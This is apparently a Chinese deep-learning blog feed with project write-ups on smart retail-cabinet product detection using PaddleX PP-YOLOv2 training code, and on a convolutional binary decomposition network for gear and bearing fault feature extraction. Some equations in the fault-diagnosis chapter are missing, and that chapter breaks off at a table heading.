  1. 引入更复杂的模型架构:使用卷积神经网络(如ResNet或UNet)等更先进的深度学习模型结构,以增强模型对复杂特征的捕捉能力和泛化性能。
  2. 超参数优化:通过调整学习率、批量大小和优化器类型等超参数来提高训练效率和模型性能。
  3. 丰富的数据增强:增加数据增强方法,如随机裁剪、翻转、颜色抖动和噪声注入,进一步扩展数据集的多样性,提高模型的鲁棒性。
  4. 改进的预测策略:使用软投票或基于概率的决策阈值来替代固定阈值判断,以提高模型在边界条件下的性能。

点赞收藏关注,免费获取本项目代码和数据集,点下方名片↓↓↓

by 深度学习乐园 at January 20, 2025 04:47 AM

深度学习乐园智能零售柜商品识别

本项目来源于深度学习乐园。如果你想要完整项目资料包,点击这里下载: pan.baidu.com/s/1-vA1Gce4…

项目源码获取方式见文章末尾! 600多个深度学习项目资料,快来加入社群一起学习吧。

《------往期经典推荐------》

项目名称 1.【基于CNN-RNN的影像报告生成】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实现mnist手写数字识别】 5.【fasterRCNN模型实现飞机类目标检测】 6.【CNN-LSTM住宅用电量预测】 7.【VGG16模型实现新冠肺炎图片多分类】 8.【AlexNet模型实现鸟类识别】 9.【DIN模型实现推荐算法】 10.【FiBiNET模型实现推荐算法】 11.【钢板表面缺陷检测基于HRNET模型】 …

1. 项目简介

本项目专注于智能零售柜商品识别,是为第六届信也科技杯图像算法大赛设计的方案。其核心目标是利用深度学习技术,实现对顾客选购商品的精准识别和自动化结算。当商品被放置在指定区域时,系统应自动检测并识别每件商品,生成购物清单并计算总价格,提升零售柜的自动化与便利性。此类智能系统在不需要售货员的情况下即可进行商品识别和结算,相较于传统的硬件分隔、重量判断、顾客行为监测、或射频识别技术,这种方法不仅成本低、空间利用率高,还支持多种类商品的识别,增强了系统的灵活性和用户体验。该项目采用深度学习模型进行目标检测,选择PaddleX框架进行训练,使用PP-YOLO或YOLOv3检测模型,骨干网络为ResNet50。项目数据集包含5422张图像,共113类商品,旨在解决复杂多类别检测问题,实现商店收益提升和顾客等待时间的减少。

在这里插入图片描述

2.技术创新点摘要

本项目在智能零售商品识别的背景下,采用了多项技术创新和优化,旨在提高商品检测与识别的效率和准确性。首先,使用了PaddleX作为训练框架,这是一个高效、灵活的深度学习平台,简化了模型训练和部署的复杂性。具体而言,该项目借助PP-YOLO和YOLOv3两种高性能目标检测模型,这两种模型以其较高的检测精度和实时性而著称。为了增强模型的表达能力和特征提取效果,项目中选用了ResNet50作为骨干网络,该网络因其深度和残差连接结构能够显著提高深度神经网络的训练效果并减少梯度消失问题。

在数据处理方面,项目采用了多样化的数据增强策略,借助飞桨的paddle.vision.transforms模块实现自动化的数据增强操作,如亮度增强、对比度增强和随机裁剪。这些方法有效提升了模型在不同光照和视角下的泛化能力,确保在真实应用场景中保持高识别精度。

项目的创新之处还体现在数据集的组织与处理上。利用符合深度学习框架的VOC格式数据集,包含5422张已标注图片,支持113类商品的检测与分类。这样高质量的多类别数据集设计使得模型能够处理更复杂的目标检测任务。此外,通过分割训练集、验证集和测试集,确保了模型的训练、调优及其最终评估的科学性和可靠性。

这种系统化的模型架构设计与数据处理流程,加之PaddleX框架和ResNet50骨干网络的组合,使得项目在商品识别的准确性和实时性上具备创新优势,为智能零售柜系统提供了可行且高效的技术解决方案。

3. 数据集与预处理

本项目的数据集来源于第六届信也科技杯图像算法大赛,使用VOC格式,共包含5422张标注完备的商品图像,涵盖113类商品。这种数据集格式符合主流深度学习开发工具的要求,如PaddleX和PaddleDetection。数据集被合理划分为训练集(3796张)、验证集(1084张)和测试集(542张),以确保模型在训练和评估阶段的科学性和可靠性。图片的尺寸为960x720,存储格式为JPEG,数据丰富且多样,支持对密集排列的商品进行检测和分类,极大程度模拟了现实的复杂场景。

在数据预处理环节,项目采用了一系列预处理和数据增强技术,以提高模型的泛化能力和鲁棒性。预处理的第一步是数据归一化,通过调整图像像素值的范围,将其缩放到0到1之间,确保输入到模型中的数据具有一致的数值分布。此外,数据增强是项目的关键创新点之一。使用了PaddleX内置的paddle.vision.transforms模块,实施了多种自动化增强方法,包括亮度调整、对比度增强、随机裁剪、旋转和翻转等。这些技术有效应对了由于光照变化、视角差异或商品位置不确定性带来的挑战,从而提升了模型在多变环境下的表现。

在特征工程方面,项目注重利用ResNet50骨干网络的深层次特征提取能力。虽然大部分特征提取步骤由模型自动完成,但通过数据预处理的优化,项目确保输入数据具有高质量和多样性。这种系统化的数据预处理策略和特征工程设计,为模型提供了强大的基础支持,提升了模型在复杂场景中的识别准确性与稳定性。

4. 模型架构

模型架构和训练流程

  1. 模型结构的逻辑: 本项目的模型架构使用了PaddleX深度学习平台,结合了PP-YOLO和YOLOv3检测模型,二者均为高效的目标检测算法,适用于实时应用。PP-YOLO是一种经过优化的YOLO版本,通过引入多个增强模块和技术(如路径聚合网络、IoU Loss优化、Better NMS等),在保持检测速度的同时显著提高了精度。骨干网络采用ResNet50,它通过残差结构提升了深层网络的训练效率,防止梯度消失和退化问题。模型整体逻辑旨在将输入图片经过骨干网络提取特征后,通过检测头部输出预测框和分类信息,实现商品的精准定位与识别。
  2. 模型的整体训练流程: 训练流程从数据加载和预处理开始,数据集以VOC格式组织,划分为训练集、验证集和测试集。数据在加载后经过一系列预处理,包括归一化和数据增强。训练过程中,模型使用随机初始化或预训练权重,随后进行反向传播和参数更新。训练过程采用交叉熵损失函数和IoU损失函数,以优化分类和位置精度。模型的训练参数如学习率、批量大小等通过超参数调优确定。使用PaddleX的高层API加速了数据流的处理和训练迭代,实现了多次epoch的训练,并在验证集上监控损失和准确性。

评估指标: 虽然未找到具体的代码片段描述评估细节,典型的目标检测评估指标包括mAP(平均精度均值)、Precision(精确率)、Recall(召回率)等。在训练过程中,模型会在验证集上评估mAP,以跟踪模型性能。最终,测试集用于验证模型的泛化能力和在实际应用中的表现。

5. 核心代码详细讲解

import paddlex as pdx
from paddlex import transforms as T

解释:导入PaddleX及其变换模块transforms。PaddleX是一个用于深度学习的工具包,提供了从数据预处理到模型训练的全流程API,简化了深度学习项目的开发。

# 定义训练和验证时的transforms# API说明:https://github.com/PaddlePaddle/PaddleX/blob/develop/dygraph/docs/apis/transforms/transforms.md
train_transforms = T.Compose([
    T.MixupImage(mixup_epoch=-1), T.RandomDistort(),
    T.RandomExpand(im_padding_value=[123.675, 116.28, 103.53]), T.RandomCrop(),
    T.RandomHorizontalFlip(), T.BatchRandomResize(
        target_sizes=[320, 352, 384, 416, 448, 480, 512, 544, 576, 608, 640, 672, 704,736, 768
        ],
        interp='RANDOM'), T.Normalize(
            mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
])

解释:定义了训练时使用的数据增强操作。T.Compose()用于将多种数据增强方法组合起来,包括:

  • T.MixupImage():实现图像混合增强,提升模型泛化能力。

  • T.RandomDistort():随机调整图像的亮度、对比度等。

  • T.RandomExpand():对图像进行随机扩展。

  • T.RandomCrop():随机裁剪图像。

  • T.RandomHorizontalFlip():随机水平翻转。

  • T.BatchRandomResize():随机调整图像尺寸,增加模型对多尺度物体的识别能力。

  • T.Normalize():对图像进行标准化,使用给定的均值和标准差。

eval_transforms = T.Compose([    T.Resize(        target_size=640, interp='CUBIC'), T.Normalize(            mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
])

解释:定义了验证时使用的预处理操作,包括图像缩放和标准化。

train_dataset = pdx.datasets.VOCDetection(
    data_dir='data/data91732',
    file_list='data/data91732/train_list.txt',
    label_list='data/data91732/labels.txt',
    transforms=train_transforms,
    shuffle=True)

解释:加载训练数据集。使用pdx.datasets.VOCDetection来读取数据,并将预处理的train_transforms应用于数据。shuffle=True确保数据在每个epoch中随机排列,增加模型的鲁棒性。

eval_dataset = pdx.datasets.VOCDetection(
    data_dir='data/data91732',
    file_list='data/data91732/val_list.txt',
    label_list='data/data91732/labels.txt',
    transforms=eval_transforms,
    shuffle=False)

解释:加载验证数据集,使用eval_transforms进行预处理。shuffle=False表示验证集在训练时不会随机排列,以便于一致性评估。

num_classes = len(train_dataset.labels)
model = pdx.det.PPYOLOv2(num_classes=num_classes, backbone='ResNet50_vd_dcn')

解释:定义了检测模型,选择PPYOLOv2,这是PP-YOLO的升级版,结合了ResNet50变体ResNet50_vd_dcn作为骨干网络,支持深度卷积网络(DCN),提升了模型的特征提取能力。

model.train(
    num_epochs=10,
    train_dataset=train_dataset,
    train_batch_size=4,
    eval_dataset=eval_dataset,
    pretrain_weights='COCO',
    learning_rate=0.005 / 12,
    warmup_steps=1000,
    warmup_start_lr=0.0,
    lr_decay_epochs=[105, 135, 150, 210, 240],
    save_interval_epochs=1,
    save_dir='output/ppyolov2_r50vd_dcn')

解释:开始模型训练,主要参数如下:

  • num_epochs=10:训练的轮次。

  • train_batch_size=4:每个批次的样本数量。

  • pretrain_weights='COCO':加载COCO数据集的预训练权重。

  • learning_rate=0.005 / 12:学习率设定。

  • warmup_steps=1000:在训练初期采用逐渐增加的学习率,防止模型不稳定。

  • save_dir='output/ppyolov2_r50vd_dcn':模型保存路径。

6. 模型优缺点评价

模型优点: 本项目采用了PP-YOLOv2模型,结合了ResNet50_vd_dcn骨干网络,具备较高的检测精度和计算效率。PP-YOLOv2作为YOLO系列的优化版本,融合了多种改进技术,如路径聚合网络、IoU Loss优化、Better NMS等,实现了实时性与检测准确性的良好平衡。数据预处理中使用了多种数据增强策略(如随机裁剪、水平翻转、亮度调整等),有效提高了模型的泛化能力,使其能够在复杂背景和多种光照条件下稳定识别商品。此外,项目通过加载COCO预训练权重来加快收敛并提高初始模型性能。

模型缺点: 虽然PP-YOLOv2模型性能优异,但其对计算资源的需求相对较高,在低计算能力设备上难以实时运行。此外,模型在小物体检测上的表现仍可能存在不足,尤其是当商品密集排列时。训练过程中,模型可能对数据分布较为敏感,存在过拟合风险。超参数(如学习率、批量大小等)虽然已设定,但未经过全面优化,可能影响模型在特定数据集上的最优性能。

改进方向: 可以通过以下方法进一步优化模型性能:1) 模型结构优化:使用更轻量化的骨干网络,如MobileNet或ShuffleNet,提升在边缘设备上的推理速度。2) 超参数调整:进行超参数搜索优化,确保学习率、批量大小等参数配置更适合数据集特点。3) 更多数据增强:引入CutMix、Mosaic等高级数据增强技术,丰富训练样本的多样性,改善模型在复杂场景下的表现。4) 多尺度训练:增加多尺度训练机制,使模型更具鲁棒性,应对不同尺寸物体的检测需求。5) 后处理优化:探索更高效的NMS替代方案,如Soft-NMS,提高在重叠物体下的检测性能。

点赞收藏关注,免费获取本项目代码和数据集,点下方名片↓↓↓

by 深度学习乐园 at January 20, 2025 04:46 AM

深度学习乐园基于深度卷积二元分解网络的齿轮和轴承故障特征提取方法

本项目来源于深度学习乐园。如果你想要完整项目资料包,点击这里下载: pan.baidu.com/s/1-vA1Gce4…

项目源码获取方式见文章末尾! 600多个深度学习项目资料,快来加入社群一起学习吧。

《------往期经典推荐------》

项目名称 1.【基于CNN-RNN的影像报告生成】 2.【卫星图像道路检测DeepLabV3Plus模型】 3.【GAN模型实现二次元头像生成】 4.【CNN模型实现mnist手写数字识别】 5.【fasterRCNN模型实现飞机类目标检测】 6.【CNN-LSTM住宅用电量预测】 7.【VGG16模型实现新冠肺炎图片多分类】 8.【AlexNet模型实现鸟类识别】 9.【DIN模型实现推荐算法】 10.【FiBiNET模型实现推荐算法】 11.【钢板表面缺陷检测基于HRNET模型】 …

旋转机械设备的不完全动平衡和安装不对中所产生的谐波干扰成分,在局部故障 发生时与故障成分相互耦合, 导致难以准确提取,且由于干扰成分与故障成分均具有 低秩分布特性,无法通过低秩特征约束提取故障特征。为了实现有效的故障特征解 耦,本章通过将稀疏低秩分解方法应用于深度学习网络架构,提出一种深度卷积二元 分解网络以提取齿轮和轴承局部故障特征。利用特征余量迭代分解原理改进堆叠网络 框架,构建用于特征分离的二元分解网络框架;利用低秩特征扩展融合方法改进卷积 自编码网络,在网络框架内搭建先解码后编码的特征提取器分别对谐波干扰和冲击特 征识别提取,形成所提深度卷积二元分解网络。并根据网络的特征输出模式提出一种 二元分解网络训练方法,训练所提网络从含噪混合特征信号中有效分离解耦出故障冲 击特征并完成机械设备的局部故障诊断。 在这里插入图片描述

4.1 深度卷积二元分解网络构建方法 本节将稀疏低秩模型的特征余量迭代分解原理引入堆叠自编码网络框架,提出一 种包含两个特征提取器的二元分解网络框架;利用低秩特征扩展融合方法与自编码网 络编码和解码部分的对应关系,在二元分解网络框架内搭建先解码后编码的特征提取 器,构建出所提深度卷积二元分解网络(Deep Convolutional Binary Decomposition Network ,DCBDN)。 4.1.1 二元分解网络框架设计方法 根据 2.3 节理论介绍,传统自编码网络由于采用特征顺序传递的单输出网络构建模 式,无法引入对干扰成分的约束以分离解耦混合特征。根据 3.1 节稀疏低秩分解模型特 征提取原理分析,不同属性特征通过特征余量交替迭代可实现特征分解,本节将特征 余量传递的思想引入堆叠自编码网络框架中,构建出图 4-1 所示二元分解网络框架。

图 4-1 二元分解网络框架

图示二元分解网络框架内含有谐波特征提取器θhc 和冲击特征提取器θim ,且均具有 特征输出功能以实现针对性特征约束;在框架内部,谐波特征输出Fc 对输入信号的保 真项嵌于特征提取器之间,以求解特征余量 Fr 用于特征向下传递,相较于以上层输出 作为下层输入的向前传播模式,可去除干扰成分对目标特征提取的影响。 当混合特征信号 x ∈ R 1×N 输入时,谐波特征提取器对信号中的谐波干扰成分进行 识别提取,将提取出的谐波干扰特征 Fc 从输入信号中分离后,以特征余量 Fr 输入到 冲击故障特征提取器θim 提取冲击故障特征 Fi ,通过以上步骤实现谐波干扰和冲击故 障特征的分离解耦。在网络特征学习时,利用谐波干扰特征标签序列 Fhc 和冲击特征标 签序列 Fim 分别对各自的特征提取器输出结果求解特征损失 Lhc 和 Lim ,并赋予权重形 成加权总损失 Lc ,通过参数更新完成特征约束。 4.1.2 卷积特征提取器设计方法 根据 3.1 节对稀疏低秩分解模型的特征提取原理分析,低秩特征约束在每一轮次迭 代中以奇异值收缩的方法逐步使得特征重构矩阵表达低秩特性,奇异值收缩是基于奇 异值分解扩展和奇异值分量筛选融合重构。与卷积自编码网络结构对比分析可知,奇 异值分解将输入数据矩阵 X ∈ Rm×n 分解成多个特征分量矩阵 Xi 之和,这与自编码网络 的解码部分相对应;而奇异值分量筛选重构则是将高维特征根据特征子空间降维并特 征融合重构,这与自编码网络的编码部分相对应。低秩特征约束提取与自编码网络的 联系如图 4-2 所示,其中Qm×n 表示目标特征奇异值分量子空间。

图 4-2 低秩特征约束与自编码网络的对应关系 传统卷积自编码网络在特征学习和提取上,采用先编码后解码的网络结构,当以 一维信号作为网络输入时,需要在首个卷积层进行多维特征扩展以确保网络具备足够 的深度,并且需要在最后的卷积层将高维提取特征降维至于输入信号相同的维度,然

而,特征维度的激增和骤减容易引发过拟合与特征提取不充分等问题[100]。为解决该问 题并构建二元分解网络框架内的卷积特征提取器,本节将低秩特征扩展融合原理应用 于卷积神经网络架构,以先特征扩展后筛选融合的思想, 提出一种先解码后编码的特 征提取网络构建特征提取器,其结构及与低秩约束过程的对应关系如图 4-3 所示。

图 4-3 特征提取器结构及与低秩约束过程的对应关系 在上图所示提特征提取器结构中,特征扩展部分利用卷积自编码网络的解码器作 为低秩特征扩展的网络化应用,输入信号经过逐层多核卷积扩展出多维信号特征,避 免了维度激增引发的模型过拟合问题;特征融合编码部分经过特征学习将高维特征中 与目标特征相关的分量赋予权重,逐层进行特征压缩融合,直至与输入信号维度保持 相同。所提面向不同信号特征提取的卷积特征提取器具体设计依据如下: (1)由于池化处理会在一定程度上对卷积特征造成故障丢失,进而导致网络学习到 的冲击故障特征被进一步弱化,因此,仅采用卷积层和归一化层搭建特征提取器。通 过合理设置卷积层的边缘填充值,确保卷积前后的信号长度相同,而归一化层可以使 得网络特征传递过程中避免梯度消失和梯度爆炸导致的网络不稳定问题。 (2)根据谐波干扰成分和冲击故障特征的分布特性分别设计对应的特征提取器。为 了契合谐波干扰成分在振动信号中的广域分布特性,采用较大的卷积核设计谐波特征 提取器的卷积层;考虑冲击特征的局部分布特性,则采用较小的卷积核设计冲击特征 提取器,以实现对局部故障特征的精细化提取。 (3)在卷积层特征提取后,以 PReLU 激活函数为卷积特征引入非线性变换,使网络 能同时对正值和负值数据进一步学习目标特征的抽象化表达。相较于常用的 ReLU 激活 函数只对正值数据进行非线性处理, PReLU 激活函数可以避免特征分量负值区特征信 息的忽略,保持特征信息的完整性。

(4)采用先解码后编码的特征提取网络结构模式,用于特征逐步扩展和压缩,以 2 为倍数逐层增加解码部分的卷积核数量,完成输入信号的特征扩展;为使特征提取器 结构对称,同样以 2 为倍数逐层降低编码部分的卷积核数量,在特征压缩过程中提取有 用特征并以输入信号相同的维度完成输出重构。 4.1.3 深度卷积二元分解网络设计方法 按所提卷积特征提取器设计方法分别对谐波特征提取器和冲击特征提取器设计包 含 4 个卷积层的对称结构特征提取网络,并将两种特征提取器嵌入到图 4-1 的二元分解 网络过框架中,形成如图 4-4 所示的深度卷积二元分解网络(DCBDN)架构,并在表 4-1 中给出网络模型的推荐参数。对于含谐波干扰的局部故障信号,DCBDN 模型利用谐波 特征提取器对混合特征信号中的谐波干扰成分学习并提取,将其从输入信号中去除后 形成特征余量以恢复局部故障特征分布模式,然后通过冲击特征提取器提取故障特征 成分,用于对齿轮和轴承局部故障诊断。

图 4-4 DCBDN 架构 表 4-1 DCBDN 网络推荐参数

层名卷积核数量卷积核大小激活函数 Hc-Conv181×9PReLU Hc-Conv2161×7PReLU Hc-Conv381×7PReLU Hc-Conv411×9PReLU Im-Conv181×5PReLU Im-Conv2161×5PReLU Im-Conv381×5PReLU Im-Conv411×5PReLU

4.2 深度卷积二元分解网络训练方法 由于所提 DCBDN 网络模型采用二元特征输出模式,无法按传统特征顺序传递的单 输出网络模型训练方法完成网络训练,为了使所提 DCBDN 模型有效从混合特征信号中 有效分离谐波干扰特征并实现冲击故障特征提取,本节提出一种基于故障机理模型的 二元输出网络模型训练方法。 利用故障机理仿真信号对谐波特征提取器和冲击特征提 取器的输出赋予无噪标签序列,分别求解对应的特征损失,并通过特征余量构建特征 损失间的内在联系,实现网络参数的动态更新,完成网络训练。 4.2.1 DCBDN 模型特征学习与参数更新 结合图 4-4 中 DCBDN 网路架构的二元输出卷积特征提取过程以及图 4-1 对二元分 解网络框架中的特征处理和传递过程,分别从特征向前传播过程的损失求解以及损失 函数按梯度方向反向传播实现参数更新两个方面对所提 DCBDN 模型二元输出特征学习 原理进行分析,特征学习与参数更新原理如图 4-5 所示。

图 4-5 DCBDN 特征学习与参数更新原理 上图所揭示的 DCBDN 模型在单轮次的特征学习过程中,以数据集中的谐波干扰下 的含噪故障信号样本 x 输入 DCBDN 模型,谐波特征提取器对混合特征信号中的谐波 干扰成分进行提取并输出谐波重构特征 Fc ,利用数据集中的谐波标签序列 Fhc 对其求 解谐波特征损失Lhc ;将去除了谐波干扰的特征余量 Fr 输入冲击故障特征提取器,提取 出被淹没在噪声和干扰中的冲击故障特征 Fi ,与数据集中的冲击标签序列 Fim 求解冲 击特征损失Lim 。对特征损失分别赋予权重,得到式(4-1)的加权总损失 Lc 。 Lc = ω1MSE [θhc (x ), Fhc ] + ω2MSE [θim (Fr ), Fim ] (4-1)

式中, MSE 为均方误差函数, θhc 和θim 分别表示谐波特征提取器和冲击特征提取 器的特征提取映射函数, ω1 和 ω2 为两种特征输出分量损失权重系数。 在参数更新时,加权特征损失 Lc 沿着特征传递路径先反向传播至冲击特征提取 器,对其内部的卷积层参数进行更新,由于加权特征损失 Lc 直接反向传播,因此仍以 传统的链式传播法则按式(4-2)和式(4-3)对冲击特征提取器θim 的权值矩阵Wim 和偏置向 量 bim 进行参数更新,式中, Wim' 和 bi'm 为更新后的冲击故障特征提取器权值矩阵和偏 置向量,γ为网络模型的特征学习率。 = Wim −γ (4-2) m = bim −γ (4-3) 将式(4-1)中的特征余量 Fr 展开,得到式(4-4)的加权特征损失 Lc 表达式,可见加权 特征损失 Lc 从冲击特征提取器进一步反向传播的路径有两条,式中首项对应的直接向 谐波特征提取器沿梯度方向反向传播的路径,第二项则对应的经过特征余量再传播至 谐波特征提取器的梯度方向传播路径。与传统的单输出特征传递模型的参数更新方式 不同,谐波特征提取器θhc 的权值矩阵Whc 和偏置向量 bhc 将根据式(4-5)和式(4-6)的分量 特征损失链式更新方式进行参数更新,式中, Wh' c 和 bh'c 为更新后的冲击故障特征提取 器权值矩阵和偏置向量。 Lc = ω1MSE [θhc ( x ), Fhc ] + ω2 MSE {θim [x − θhc ( x ) ], Fim } (4-4)

通过对式(4-5)和式(4-6)分析可知,在 DCBDN 模型迭代更新过程中,由于特征余量 构建起了特征提取器之间输出损失的内在联系,谐波特征提取器需要同时依据自身以 及冲击特征提取器的特征提取效果来完成当前轮次的参数更新,当进入到下一轮次的 迭代时,优化后的谐波特征提取效果会进一步降低特征余量中谐波干扰成分的影响作 用,逐步恢复冲击特征的原始特征分布模式,以进一步促进冲击特征提取器的参数更

新趋向局部最优解收敛,实现特征提取器之间基于效果补偿的跨轮次交替优化迭代过 程,最终完成整体网络模型的参数动态更新。 在网络学习稳定性上,所提 DCBDN 模型中的特征余量求解并用于特征传递的结构 与残差神经网络(Residual Network ,ResNet)[101] 中的残差学习模块类似,均通过短路链 接将输入特征的恒等映射输入到深度卷积层,使网络模型即使层数加深也不会导致网 络退化,避免了梯度消失导致网络特征学习的不稳定问题。

图 4-6 DCBDN 网络结构与 ResNet 残差模块对应关系 所提 DCBDN 网络模型利用特征余量构建起两个特征提取器之间的输出特征损失内 在联系,促使特征提取器在每轮次的参数更新中以效果补偿的方式调节网络参数。在 实际应用中可根据信号中谐波干扰的强弱,适当调节冲击特征损失Lim 的权重系数,使 得 DCBDN 网络模型的参数调节侧重于提高对冲击故障特征提取的准确性。 4.2.2 DCBDN 模型网络训练 经过对 DCBDN 模型的特征学习与仿真分析,需要提供足够的含噪混合特征信号、 无噪谐波干扰特征标签序列和无噪冲击特征标签序列以实现网络训练。由于工程中难 以获得网络训练所需的无噪标签序列,本节参考文献[102]采用基于故障机理模型的仿 真信号数据集构造方法,构造不同谐波干扰强度和不同信噪比条件下的仿真信号,以 解决网络训练样本缺失的问题。 本节根据 2.1 节所提局部故障机理模型构建冲击响应仿真信号作为无噪冲击特征标 签序列,以幅值调制型谐波干扰成分模拟齿轮箱谐波干扰特征标签序列,将二者混合 后施加零均值高斯白噪声形成含噪混合特征信号,故障仿真模型如下:

x(t) = y(t) + h(t) + n(t)

h(t) = η Σ i {Ahi 1 + cos(2π f 1it + φ1i ) cos(2π f 2 it + φ2 i ) }

(4-7)

(4-8)

(4-9)

其中, x(t) 表示谐波干扰下的含噪冲击故障响应信号。 y(t)表示由于局部故障激起 的冲击响应信号, Ai 为第i个冲击响应的幅值, fd 和ξ为每个冲击响应的固有频率和阻 尼比, T为冲击时间间隔。 h(t) 表示幅值调制型谐波干扰量, η为表征谐波干扰强弱程 度的幅值系数, Ahi 为第i个谐波干扰量的幅值, f1i 和φ1i 分别为第i个谐波干扰的调制成 分的频率和相位, f2i 和φ2i 分别为第i个谐波干扰的载波成分的频率和相位。 n(t)表示均 值为 0 的高斯白噪声。 不同于文献[102]只采用故障冲击响应信号和随机噪声的仿真数据集构造方式,本 节所提仿真数据集构造方法将谐波干扰成分引入到数据集中,根据式(4-7)生成网络训 练用的含噪混合特征仿真训练样本,根据式(4-8)和式(4-9)分别生成与含噪混合特征训 练样本对应的无噪谐波干扰特征标签序列和无噪冲击特征标签序列,用于对谐波特征 提取器和冲击特征提取器特征输出的损失求解。 由于在含噪和谐波干扰条件下,冲击响应的阻尼比和多阶固有频率特征对于冲击 特征提取的影响较小,因此本节为简化训练样本的构造复杂程度,统一将含噪混合特 征训练样本以及对应的冲击特征标签序列的阻尼比ξ设置为定值 0.05,并采用 1 阶固有 频率的冲击响应模式。为通过网络训练进一步提高网络模型的泛化性能,应在数据集 中尽可能增加冲击响应特征的分布形式和同种谐波干扰类型的不同分布模式,因此, 在文献[102]的冲击响应参数选取原则基础上,由表 4-2 给出所提仿真数据集构造的参数 选取范围,并按均匀分布的规则在参数区间内对冲击响应和谐波干扰成分的构造参数 随机取值,构造出不同谐波干扰成分下的含噪冲击响应仿真信号训练样本。 此外,为提高 DCBDN 模型对不同采样条件的振动信号的适用性以及提高数据集的 样本采样模式多样性,每组仿真信号训练样本的采样频率在满足采样定理的前提下按 均匀分布规则在 10kHz~100kHz 范围内随机取值,采集出 1000 组谐波干扰下的含噪冲 击故障响应信号样本及无噪的特征分量信号标签序列,并按 8:2 的比例划分为训练集和 验证集用于网络训练。

表 4-2 数据集参数选取区间

参数区间下限区间上限 冲击固有频率 fd /Hz100010000 冲击响应幅值 A/m/s20.51.5 调制成分频率f1/Hz10100 调制成分相位φ1 /rad02π 载波成分频率 f2 /Hz2001000 载波成分相位φ2 /rad02π 幅值系数η0.51.5 信噪比 SNR /dB0+4 冲击间隔 T/s0.0050.15 利用所提局部故障仿真信号模型和参数选取原则构建仿真数据集,并根据 4.2.1 节 对 DCBDN 模型的特征学习与参数更新过程,以谐波干扰下的含噪冲击故障响应信号样 本作为网络输入,为两种特征提取器的特征输出分配对应的无噪标签序列求解损失函 数,通过损失反向传播动态更新参数,完成网络训练。本章后续的仿真研究和实验分 析所用的 DCBDN 模型均采用上述网络训练方法得到的训练完备的模型。 4.3 基于 DCBDN 模型的局部故障诊断方法具体流程 所提 DCBDN 模型在堆叠自编码网络框架的基础上引入稀疏低秩分解模型的特征交 替迭代原理,提出一种包含两个特征提取器的二元分解网络框架;利用卷积自编码网 络与低秩特征约束的对应关系,提出一种先解码后编码的特征提取网络作为网络框架 内部的特征提取器,形成所提深度卷积二元分解网络用于对含噪混合特征信号进行谐 波干扰分离与冲击特征提取,实现故障诊断。所提方法的具体步骤如下: (1)按 4.1 节所提网络设计方法,在堆叠网络框架的基础上,将特征分量对输入信号 的保真项嵌入到特征提取器之间,搭建二元分解网络框架,并根据卷积自编码网络与 低秩特征约束过程的对应关系,建立先解码后编码的特征提取网络作为内部特征提取 器,按表 4-1 给定的网络推荐设计参数构建 DCBDN 模型。 (2)根据 4.2.2 节所提数据集构造方法,在表 4-2 给定的数据集参数选取原则上,基 于故障机理模型生成无噪冲击故障特征标签序列以及幅值调制型谐波干扰成分标签序 列,经过特征混合后施加零均值噪声形成含噪仿真信号样本,完成数据集构建。

(3)以谐波干扰下的含噪混合特征样本作为 DCBDN 模型的输入,以无噪谐波干扰 标签序列和冲击故障特征标签序列分别求解对应特征提取器的输出损失,根据 4.2.1 节 所提 DCBDN 模型二元输出特征学习原理进行训练,得到训练完备的模型。 (4)采集实测局部故障振动信号, 归一化处理后输入到训练完备的 DCBDN 模型, 利用谐波特征提取器将信号中的谐波干扰成分分离,然后通过冲击特征提取器对特征 余量进行特征提取,得到包含局部故障特征的冲击特征重构信号。 (5)利用希尔伯特解调分析方法对冲击故障特征重构信号的解调特征进行分析,获 取故障特征频率,完成局部故障诊断。 所提方法具体流程如图 4-7 所示。

图 4-7 基于 DCBDN 模型的局部故障诊断方法具体流程

4.4 仿真研究 本节利用故障仿真模型构建仿真测试信号对表 4-1 所给出的 DCBDN 模型推荐参数 进行参数选取有效性分析;利用推荐参数 DCBDN 对谐波干扰下的含噪冲击故障特征进 行谐波干扰分离和冲击特征提取有效性分析;通过设定不同谐波干扰强度和噪声强度 的仿真测试信号用于 DCBDN 模型的谐波特征重构误差与冲击特征重构精度仿真测试, 以验证所提方法的抗干扰性能。 4.4.1 DCBDN 模型设计参数有效性分析 在所提的 DCBDN 模型中,特征提取器参数设计的合理性决定了方法提取效果,本 节采用 4.2.2 节构建的样本集训练不同网络参数组合的 DCBDN 模型,利用仿真测试信 号进行特征提取效果对比,以此对表 4-1 给出的网络推荐参数进行有效性验证。由于所 提 DCBDN 模型采用两个特征提取器分别提取谐波干扰和冲击故障特征并输出,首先对 不同卷积层数和卷积核大小组合的谐波特征提取器进行独立训练并测试其谐波干扰特 征分离性能;以同样的方法分析冲击特征提取器的网络参数时,谐波特征提取器则固 定采用推荐的网络参数。模型训练时损失权重系数 ω1 和 ω2 均设置为 0.5。 利用 4.2.2 节的故障仿真模型生成包含 20 个理论冲击的仿真测试信号,其中,冲击 固有频率 fd =5000Hz,阻尼比ξ=0.05,冲击周期T=0.005s,幅值 A在 0.5m/s2-1.5 m/s2 间 随机选取;谐波干扰成分的调制频率 f1 =100Hz,载波频率 f2 =540Hz,幅值系数η=1 , 相位均置零。施加 0dB 零均值高斯白噪声后,按 51.2kHz 采样频率采集 0.1s 的仿真测 试信号并分别输入到不同参数组合的训练完备 DCBDN 模型进行分析。 对谐波特征提取器参数组合分析,以提取出的谐波特征信号与理论谐波分量的均 方根误差作为谐波分离准确性评价指标。不同参数组合下谐波特征提取器的特征重构 误差如表 4-3 所示。结果表明,卷积层数一定时,较大的卷积核有助于充分提取谐波特 征;而在卷积核大小一定时,卷积层数越多,谐波干扰重构误差总体呈现下降趋势。 表 4-3 谐波特征提取器参数组合的谐波特征重构误差(m/s2)

卷积核大小谐波特征提取器卷积层数 246 1×30.08950.37050.0453 1×50.05960.04100.0312 1×70.04220.03140.0295 1×90.04280.02630.0321

采用大卷积核以及提高网络深度的方式虽然可以降低谐波特征的重构误差,但也 会增加网络运算的复杂度。通过浮点运算次数(Floating-Point Operations ,FLOPs)[103]进 一步分析各参数组合的运算复杂度,结果如表 4-4 所示,在卷积层数一定时,随着卷积 核增大,FLOPs 值呈现线性变化;然而在卷积核大小一定时,FLOPs 值则会随卷积层 数增加而产生数量级的增大。 表 4-4 特征提取器参数组合的 FLOPs 值

